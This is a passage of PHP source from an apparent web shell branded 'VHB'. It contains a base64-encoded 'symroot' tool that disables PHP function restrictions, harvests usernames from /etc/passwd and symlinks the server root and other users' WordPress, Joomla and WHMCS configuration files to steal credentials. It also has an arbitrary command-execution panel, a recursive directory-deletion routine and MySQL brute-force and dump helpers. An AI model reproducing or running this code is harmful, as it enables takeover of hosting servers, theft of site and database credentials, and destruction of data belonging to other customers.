'); formfooter(); }//end newtime elseif ($action == 'symroot') { $file = fopen($dir."symroot.php" ,"w+"); $perltoolss = 'PD9waHAKCgogJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPC9zY3JpcHQ+Cjx0aXRsZT4tLT09W1tTeW0gbGpuayBBTGwgQ29uRmlnICsgU3ltIFJvb3QgYnkgVkhCXV09PS0tPC90aXRsZT4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgoKPFNUWUxFPgpib2R5IHsKZm9udC1mYW1pbHk6IFRhaG9tYQp9CnRyIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CmNvbG9yOiAjRkZGOwp9CnRkIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CmNvbG9yOiAjRkZGOwp9Ci50YWJsZTEgewpCT1JERVI6IDBweCBCbGFjazsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjRkZGOwp9Ci50ZDEgewpCT1JERVI6IDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpmb250OiA3cHQgVmVyZGFuYTsKY29sb3I6IEdyZWVuOwp9Ci50cjEgewpCT1JERVI6IDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpjb2xvcjogI0ZGRjsKfQp0YWJsZSB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT1JERVItQ09MT1I6ICMzMzMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI0ZGRjsKfQppbnB1dCB7CmJvcmRlcgkJCTogZGFzaGVkIDFweDsKYm9yZGVyLWNvbG9yCQk6ICMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6IFJlZDsKfQpzZWxlY3QgewpCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICNERjAwMDAgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjREYwMDAwIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOwpCT1JERVItY29sb3I6ICNGRkY7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6IFJlZDsKfQpzdWJtaXQgewpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CndpZHRoOiAzMCU7CmNvbG9yOiAjRkZGOwp9CnRleHRhcmVhIHsKYm9yZGVyCQkJOiBkYXNoZWQgMXB4ICMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogIzk5OTsKfQpCT0RZIHsKCVNDUk9MTEJBUi1GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLVNIQURPVy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1UUkFDSy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLURBUktTSEFET1ctY29sb3I6ICNGRkYKbWFyZ2luOiAxcHg7CmNvbG9yOiBSZWQ7CmJhY2tncm91bmQtY29sb3I6IEJsYWNrOwp9Ci5tYWluIHsKbWFyZ2luCQkJOiAtMjg3cHggMHB4IDBweCAtNDkwcHg7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT1JERVItQ09MT1I6ICMzMzMzMzM7Cn0KLnR0IHsKYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7Cn0KCkE6bGluayB7CglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KPC9TVFlMRT4KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4KZnVuY3Rpb24gaGlkZV9kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOwogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOwp9CmZ1bmN0aW9uIHNob3dfZGl2KGlkKQp7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7Cn0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQp7CiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQogICAgc2hvd19kaXYoaWQpOwogIGVsc2UKICAgIGhpZGVfZGl2KGlkKTsKfQo8L3NjcmlwdD4nOyA/Pgo8aHRtbD4KCTxoZWFkPgoJCTw/cGhwIAoJCWVjaG8gJGhlYWQgOwoJCWVjaG8gJwoKPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGNsYXNzPSJ0YjEiID4KCgkJCQoKICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgYWxpZ249Y2VudGVyIHZhbGlnbj0idG9wIiByb3dzcGFuPSIxIj4KICAgICAgICAgICA8Zm9udCBjb2xvcj1yZWQgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPi0tPT1bWyBTeW0gbGpuayBBTGwgQ29uRmlnPC9mb250Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9NSBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4gICArIFN5bSBSb290IDwvZm9udD48Zm9udCBjb2xvcj1ncmVlbiBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+IFRlYW0gYnkgVkhCIF1dPT0tLTwvZm9udD4gPGRpdiBjbGFzcz0iaGVkciI+IAoKICAgICAgICA8dGQgaGVpZ2h0PSIxMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0ZDEiPjwvdGQ+PC90cj48dHI+PHRkIAogICAgICAgIHdpZHRoPSIxMDAlIiBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCIgcm93c3Bhbj0iMSI+PGZvbnQgCiAgICAgICAgY29sb3I9InJlZCIgZmFjZT0iY29taWMgc2FucyBtcyJzaXplPSIxIj48Yj4gCiAgICAgICAgCQkJCQkKICAgICAgICAgICA8L3RhYmxlPgogICAgICAgIAoKJzsgCgo/Pgo8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9cG9zdD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT0iY29taWMgc2FucyBtcyI+MS4gQ3JlYXQgcGhwLmluaSBmaWxlPC9mb250PjxwPgo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9InVzZSB0byBHZW5lcmF0ZSBQSFAuaW5pIiAvPjwvZm9ybT4KPGZvcm0gbWV0aG9kPXBvc3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPjIuIEdldCB1c2VybmFtZXMgZm9yIHN5bWxpbms8L2ZvbnQ+PHA+Cgk8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT0idXNyZSIgdmFsdWU9InVzZSB0byBFeHRyYWN0IHVzZXJuYW1lcyIgLz48L2Zvcm0+CgkKCTw/cGhwCglpZihpc3NldCgkX1BPU1RbJ2luaSddKSkKCXsKCQkKCQkkcj1mb3BlbigncGhwLmluaScsJ3cnKTsKCQkkcnI9IiBkaXNiYWxlX2Z1bmN0aW9ucz1ub25lICI7CgkJZndyaXRlKCRyLCRycik7CgkJJGxpbms9IjxhIGhyZWY9cGhwLmluaT48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj48dT5vcGVuIFBIUC5JTkk8L3U+PC9mb250PjwvYT4iOwoJCWVjaG8gJGxpbms7CQoJCX0KCT8+Cgk8P3BocAoJaWYoaXNzZXQoJF9QT1NUWyd1c3JlJ10pKXsKCQk/Pjxmb3JtIG1ldGhvZD1wb3N0PgoJPHRleHRhcmVhIHJvd3M9MTAgY29scz01MCBuYW1lPXVzZXI+PD9waHAgICR1c2Vycz1maWxlKCIvZXRjL3Bhc3N3ZCIpOwpmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKewokc3RyPWV4cGxvZGUoIjoiLCR1c2VyKTsKZWNobyAkc3RyWzBdLiJcbiI7Cn0KCj8+PC90ZXh0YXJlYT48YnI+PGJyPgoJPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3UgdmFsdWU9IkxldHMgU3RhcnQiIC8+PC9mb3JtPgoJPD9waHAgfSA/PgoJPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTIgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4iOwoJaWYoaXNzZXQoJF9QT1NUWydzdSddKSkKCXsKCW1rZGlyKCdzeW0nLDA3NzcpOwokcnIgID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRnID0gZm9wZW4oJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CmZ3cml0ZSgkZywkcnIpOwokU3ltID0gc3ltbGluaygiLyIsInN5bS9yb290Iik7CgkJICAgICRydD0iPGEgaHJlZj1zeW0vcm9vdD48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT1cImNvbWljIHNhbnMgbXNcIj4gU3ltPC9mb250PjwvYT4iOwogICAgICAgIGVjaG8gIlJvb3QgLyBmb2xkZXIgc3ltbGluayA8YnI+PHU+JHJ0PC91PiI7CgkJCgkJJGRpcj1ta2Rpcignc3ltJywwNzc3KTsKCQkkciAgPSAiIE9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKICAgICAgICAkZiA9IGZvcGVuKCdzeW0vLmh0YWNjZXNzJywndycpOwogICAKICAgICAgICBmd3JpdGUoJGYsJHIpOwogICAgICAgICRjb25zeW09IjxhIGhyZWY9c3ltLz48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTMgZmFjZT1cImNvbWljIHNhbnMgbXNcIj5jb25maWd1cmF0aW9uIGZpbGVzPC9mb250PjwvYT4iOwogICAgICAgCWVjaG8gIjxicj5TeW0gTGpuayBBbGwgQ29uRmlnIDxicj48dT48Zm9udCBjb2xvcj1yZWQgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+JGNvbnN5bTwvZm9udD48L3U+IjsKICAgICAgIAkKICAgICAgIAkJJHVzcj1leHBsb2RlKCJcbiIsJF9QT1NUWyd1c2VyJ10pOwogICAgICAgCSRjb25maWd1cmF0aW9uPWFycmF5KCJ3cC1jb25maWcucGhwIiwid29yZHByZXNzL3dwLWNvbmZpZy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImJsb2cvd3AtY29uZmlnLnBocCIsImpvb21sYS9jb25maWd1cmF0aW9uLnBocCIsInZiL2luY2x1ZGVzL2NvbmZpZy5waHAiLCJpbmNsdWRlcy9jb25maWcucGhwIiwiY29uZl9nbG9iYWwucGhwIiwiaW5jL2NvbmZpZy5waHAiLCJjb25maWcucGhwIiwiU2V0dGluZ3MucGhwIiwic2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiLCJ3aG0vY29uZmlndXJhdGlvbi5waHAiLCJ3aG1jcy9jb25maWd1cmF0aW9uLnBocCIsInN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJ3aG1jL1dITS9jb25maWd1cmF0aW9uLnBocCIsIndobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCIsIndobS93aG1jcy9jb25maWd1cmF0aW9uLnBocCIsInN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAiLCJjbGllbnRlL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCIsImJpbGxpbmcvY29uZmlndXJhdGlvbi5waHAiLCJhZG1pbi9jb25maWcucGhwIik7CgkJZm9yZWFjaCgkdXNyIGFzICR1c3MgKQoJCXsKCQkJJHVzPXRyaW0oJHVzcyk7CgkJCQkJCQoJCQlmb3JlYWNoKCRjb25maWd1cmF0aW9uIGFzICRjKQoJCQl7CgkJCSAkcnM9Ii9ob21lLyIuJHVzLiIvcHVibGljX2h0bWwvIi4kYzsKCQkJICRyPSJzeW0vIi4kdXMuIiAuLiAiLiRjOwoJCQkgc3ltbGluaygkcnMsJHIpOwoJCQkKCQl9CgkJCQoJCQl9CgkJCgkJCgkJfQoJCgkKCQoJPz4KPC9jZW50ZXI+CQ== '; $file = fopen("symroot.php" ,"w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; }//end viewfile window via NC if ($action == 'shell') { if (IS_WIN && IS_COM) { if($program && $parameter) { $shell= new COM('Shell.Application'); $a = $shell->ShellExecute($program,$parameter); m('Program run has '.(!$a ? 'success' : 'fail')); } !$program && $program = 'c:\windows\system32\cmd.exe'; !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; formhead(array('title'=>'Execute Program')); makehide('action','shell'); makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); p('

'); makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('

'); formfoot(); } formhead(array('title'=>'Execute Command')); makehide('action','shell'); if (IS_WIN && IS_COM) { $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); } p('

'); makeinput(array('title'=>'Command','name'=>'command','value'=>$command)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('

'); formfoot(); if ($command) { p('
');
		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
			$wsh = new COM('WScript.shell');
			$exec = $wsh->exec('cmd.exe /c '.$command);
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
			$descriptorspec = array(
			   0 => array('pipe', 'r'),
			   1 => array('pipe', 'w'),
			   2 => array('pipe', 'w')
			);
			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
			if (is_resource($process)) {
				fwrite($pipes[0], $command."\r\n");
				fwrite($pipes[0], "exit\r\n");
				fclose($pipes[0]);
				while (!feof($pipes[1])) {
					echo fgets($pipes[1], 1024);
				}
				fclose($pipes[1]);
				while (!feof($pipes[2])) {
					echo fgets($pipes[2], 1024);
				}
				fclose($pipes[2]);
				proc_close($process);
			}
		} else {
			echo(execute($command));
		}
		p('
'); } }//end shell ?>
Copyright @ 2014 by VHB .::
.:: TO PUNISH AND ENSLAVE ::.
'; echo $msg; echo ''; } function scookie($key, $value, $life = 0, $prefix = 1) { global $admin, $timestamp, $_SERVER; $key = ($prefix ? $admin['cookiepre'] : '').$key; $life = $life ? $life : $admin['cookielife']; $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport); } function multi($num, $perpage, $curpage, $tablename) { $multipage = ''; if($num > $perpage) { $page = 10; $offset = 5; $pages = @ceil($num / $perpage); if($page > $pages) { $from = 1; $to = $pages; } else { $from = $curpage - $offset; $to = $curpage + $page - $offset - 1; if($from < 1) { $to = $curpage + 1 - $from; $from = 1; if(($to - $from) < $page && ($to - $from) < $pages) { $to = $page; } } elseif($to > $pages) { $from = $curpage - $pages + $to; $to = $pages; if(($to - $from) < $page && ($to - $from) < $pages) { $from = $pages - $page + 1; } } } $multipage = ($curpage - $offset > 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : ''); for($i = $from; $i <= $to; $i++) { $multipage .= $i == $curpage ? $i.' ' : '['.$i.'] '; } $multipage .= ($curpage < $pages ? 'Next' : '').($to < $pages ? ' Last' : ''); $multipage = $multipage ? '

Pages: '.$multipage.'

' : ''; } return $multipage; } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } // Debug function debuginfo() { global $starttime; $mtime = explode(' ', microtime()); $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); echo 'Processed in '.$totaltime.' second(s)'; } // Function connect database function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') { if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) { p('

Can not connect to MySQL server

'); exit; } if($link && $dbname) { if (!@mysql_select_db($dbname, $link)) { p('

Database selected has error

'); exit; } } if($link && mysql_get_server_info() > '4.1') { if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) { q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); } } return $link; } function brute_mysql($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306'){ if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) { p('

Can not connect to MySQL server

'); exit; } if($link && $dbname) { if (!@mysql_select_db($dbname, $link)) { p('

Database selected has error

'); exit; } } if($link && mysql_get_server_info() > '4.1') { if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) { q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); } } return $link; } // Array strip function s_array(&$array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = s_array($v); } } else if (is_string($array)) { $array = stripslashes($array); } return $array; } // HTML Strip function html_clean($content) { $content = htmlspecialchars($content); $content = str_replace("\n", "
", $content); $content = str_replace(" ", "  ", $content); $content = str_replace("\t", "    ", $content); return $content; } // Chmod function getChmod($filepath){ return substr(base_convert(@fileperms($filepath),10,8),-4); } function getPerms($filepath) { $mode = @fileperms($filepath); if (($mode & 0xC000) === 0xC000) {$type = 's';} elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} elseif (($mode & 0x8000) === 0x8000) {$type = '-';} elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} else {$type = '?';} $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute']; } function getUser($filepath) { if (function_exists('posix_getpwuid')) { $array = @posix_getpwuid(@fileowner($filepath)); if ($array && is_array($array)) { return ' / '.$array['name'].''; } } return ''; } // Delete dir function deltree($deldir) { $mydir=@dir($deldir); while($file=$mydir->read()) { if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { @chmod($deldir.'/'.$file,0777); deltree($deldir.'/'.$file); } if (is_file($deldir.'/'.$file)) { @chmod($deldir.'/'.$file,0777); @unlink($deldir.'/'.$file); } } $mydir->close(); @chmod($deldir,0777); return @rmdir($deldir) ? 1 : 0; } // Background function bg() { global $bgc; return ($bgc++%2==0) ? 'alt1' : 'alt2'; } // Get path function getPath($scriptpath, $nowpath) { if ($nowpath == '.') { $nowpath = $scriptpath; } $nowpath = str_replace('\\', '/', $nowpath); $nowpath = str_replace('//', '/', $nowpath); if (substr($nowpath, -1) != '/') { $nowpath = $nowpath.'/'; } return $nowpath; } // Get up path function getUpPath($nowpath) { $pathdb = explode('/', $nowpath); $num = count($pathdb); if ($num > 2) { unset($pathdb[$num-1],$pathdb[$num-2]); } $uppath = implode('/', $pathdb).'/'; $uppath = str_replace('//', '/', $uppath); return $uppath; } // Config function getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return 'No'; } elseif ($result == 1) { return 'Yes'; } else { return $result; } } // Function name function getfun($funName) { return (false !== function_exists($funName)) ? 'Yes' : 'No'; } function GetList($dir){ global $dirdata,$j,$nowpath; !$j && $j=1; if ($dh = opendir($dir)) { while ($file = readdir($dh)) { $f=str_replace('//','/',$dir.'/'.$file); if($file!='.' && $file!='..' && is_dir($f)){ if (is_writable($f)) { $dirdata[$j]['filename']=str_replace($nowpath,'',$f); $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); $dirdata[$j]['dirchmod']=getChmod($f); $dirdata[$j]['dirperm']=getPerms($f); $dirdata[$j]['dirlink']=ue($dir); $dirdata[$j]['server_link']=$f; $dirdata[$j]['client_link']=ue($f); $j++; } GetList($f); } } closedir($dh); clearstatcache(); return $dirdata; } else { return array(); } } function qy($sql) { //echo $sql.'
'; $res = $error = ''; if(!$res = @mysql_query($sql)) { return 0; } else if(is_resource($res)) { return 1; } else { return 2; } return 0; } function q($sql) { return @mysql_query($sql); } function fr($qy){ mysql_free_result($qy); } function sizecount($size) { if($size > 1073741824) { $size = round($size / 1073741824 * 100) / 100 . ' G'; } elseif($size > 1048576) { $size = round($size / 1048576 * 100) / 100 . ' M'; } elseif($size > 1024) { $size = round($size / 1024 * 100) / 100 . ' K'; } else { $size = $size . ' B'; } return $size; } // Zip class PHPZip{ var $out=''; function PHPZip($dir) { if (@function_exists('gzcompress')) { $curdir = getcwd(); if (is_array($dir)) $filelist = $dir; else{ $filelist=$this -> GetFileList($dir);//File list foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); } if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); else chdir($curdir); if (count($filelist)>0){ foreach($filelist as $filename){ if (is_file($filename)){ $fd = fopen ($filename, 'r'); $content = @fread ($fd, filesize($filename)); fclose ($fd); if (is_array($dir)) $filename = basename($filename); $this -> addFile($content, $filename); } } $this->out = $this -> file(); chdir($curdir); } return 1; } else return 0; } // Show file list function GetFileList($dir){ static $a; if (is_dir($dir)) { if ($dh = opendir($dir)) { while ($file = readdir($dh)) { if($file!='.' && $file!='..'){ $f=$dir .'/'. $file; if(is_dir($f)) $this->GetFileList($f); $a[]=$f; } } closedir($dh); } } return $a; } var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } // end if return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $c_len = strlen($zdata); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode('', $this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } } // Dump mysql function sqldumptable($table, $fp=0) { $tabledump = "DROP TABLE IF EXISTS $table;\n"; $tabledump .= "CREATE TABLE $table (\n"; $firstfield=1; $fields = q("SHOW FIELDS FROM $table"); while ($field = mysql_fetch_array($fields)) { if (!$firstfield) { $tabledump .= ",\n"; } else { $firstfield=0; } $tabledump .= " $field[Field] $field[Type]"; if (!empty($field["Default"])) { $tabledump .= " DEFAULT '$field[Default]'"; } if ($field['Null'] != "YES") { $tabledump .= " NOT NULL"; } if ($field['Extra'] != "") { $tabledump .= " $field[Extra]"; } } fr($fields); $keys = q("SHOW KEYS FROM $table"); while ($key = mysql_fetch_array($keys)) { $kname=$key['Key_name']; if ($kname != "PRIMARY" && $key['Non_unique'] == 0) { $kname="UNIQUE|$kname"; } if(!is_array($index[$kname])) { $index[$kname] = array(); } $index[$kname][] = $key['Column_name']; } fr($keys); while(list($kname, $columns) = @each($index)) { $tabledump .= ",\n"; $colnames=implode($columns,","); if ($kname == "PRIMARY") { $tabledump .= " PRIMARY KEY ($colnames)"; } else { if (substr($kname,0,6) == "UNIQUE") { $kname=substr($kname,7); } $tabledump .= " KEY $kname ($colnames)"; } } $tabledump .= "\n);\n\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } $rows = q("SELECT * FROM $table"); $numfields = mysql_num_fields($rows); while ($row = mysql_fetch_array($rows)) { $tabledump = "INSERT INTO $table VALUES("; $fieldcounter=-1; $firstfield=1; while (++$fieldcounter<$numfields) { if (!$firstfield) { $tabledump.=", "; } else { $firstfield=0; } if (!isset($row[$fieldcounter])) { $tabledump .= "NULL"; } else { $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'"; } } $tabledump .= ");\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } } fr($rows); if ($fp) { fwrite($fp,"\n"); } else { echo "\n"; } } function 